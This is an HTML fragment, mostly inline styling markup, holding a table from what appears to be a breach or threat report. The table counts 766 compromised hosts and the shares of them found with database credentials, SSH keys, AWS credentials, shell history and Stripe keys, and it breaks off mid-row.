Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Metric</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW181986150 BCX0" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="508205135" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{120}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun MacChromeBold SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; -webkit-font-smoothing: antialiased; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Count</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:2,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="2" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="1109791732" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{128}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Compromised hosts</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="825048021" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{136}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">766</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="3" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="814771653" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{160}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Hosts with database credentials</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="358755293" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{168}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">~701 (91.5%)</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="4" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="298065393" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{176}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Hosts with SSH private keys</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="1063609982" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{184}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">~599 (78.2%)</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="5" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="510440470" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{192}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Hosts with AWS credentials</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="399729853" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{200}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">~196 (25.6%)</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="6" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="108606549" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{208}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Hosts with shell command history</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="1967950419" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{216}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">~245 (32.0%)</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="7" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="1865914896" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{224}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Hosts with live Stripe API keys</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="1887384421" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{232}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; 